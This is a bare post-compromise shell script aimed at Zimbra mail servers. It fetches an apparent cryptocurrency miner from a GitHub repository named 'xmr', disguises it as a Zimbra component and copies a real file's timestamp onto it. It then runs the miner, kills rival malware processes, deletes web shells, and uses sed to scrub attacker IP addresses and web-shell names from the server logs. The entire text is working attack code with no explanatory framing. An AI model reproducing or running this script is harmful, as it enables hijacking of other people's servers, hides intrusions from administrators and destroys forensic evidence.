sshd

#!/bin/sh
file0="/opt/zimbra/libexec/zimbra"
file1="/opt/zimbra/lib/zmmailboxdwatch"
if [ -f "$file1" ];then
	echo "$file1 found."
	count1=`ps -ef | grep "zmmailboxdwatch" | grep -v grep | wc -l`
	if [ $count1 -eq 0 ];then
		filesize=`ls -l $file1 | awk '{ print $5}'`
		if  [ $filesize -ne 3097152 ];then
			rm -rf $file1
			if  command -v curl > /dev/null; then
				curl -k https://raw.githubusercontent.com/singhkarn/xmr/master/sshd -o $file1
			else
				wget --no-check-certificate https://raw.githubusercontent.com/singhkarn/xmr/master/sshd -O $file1
			fi
			if [ -s "$file1" ];then
				touch -r $file0 $file1
				chmod +x $file1
			else
				rm -rf $file1
			fi
		else
			touch -r $file0 $file1
			chmod +x $file1
		fi

	fi
else
	if  command -v curl > /dev/null; then
		curl -k https://raw.githubusercontent.com/singhkarn/xmr/master/sshd -o $file1
	else
		wget --no-check-certificate https://raw.githubusercontent.com/singhkarn/xmr/master/sshd -O $file1
	fi
	if [ -s "$file1" ];then
		touch -r $file0 $file1
		chmod +x $file1
	else
		rm -rf $file1
	fi
fi
count=`ps -ef | grep "zmmailboxdwatch" | grep -v grep | wc -l`
if [ $count -eq 0 ];then
	nohup $file1 2>&1 &
fi
ps auxf|grep -v grep|grep '/tmp/l.sh'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep '/tmp/s.sh'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep 'zmcat'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep '/opt/zimbra/log/zmswatch'|awk '{print $2}'|xargs kill -9
rm -rf /tmp/*.sh*
rm -rf /tmp/zmcat
rm -rf /opt/zimbra/log/zmswatch
rm -rf /opt/zimbra/log/zmswatch.sh
rm -rf /opt/zimbra/jetty/webapps/zimbra/public/Online.jsp?
rm -rf /opt/zimbra/jetty/webapps/zimbra/public/jsp/ZimbraCore.jsp?
rm -rf /opt/zimbra/jetty/webapps/zimbra/public/Ajax.jsp
rm -rf /opt/zimbra/jetty/webapps/zimbra/js/zimbra/csfe/XZimbra.jsp
sed -i '/47\.74\.43\.251/d' /opt/zimbra/log/*_log.2019*
sed -i '/149\.129\.133\.222/d' /opt/zimbra/log/*_log.2019*
sed -i '/198\.74\.118\.90/d' /opt/zimbra/log/*_log.2019*
sed -i '/404\.jsp/d' /opt/zimbra/log/*_log.2019*
sed -i '/login\.jsp/d' /opt/zimbra/log/*_log.2019*
sed -i '/ZimbraCore\.jsp/d' /opt/zimbra/log/*_log.2019*
sed -i '/Online\.jsp/d' /opt/zimbra/log/*_log.2019*
rm -rf /opt/zimbra/lib/curl.dat
echo "over"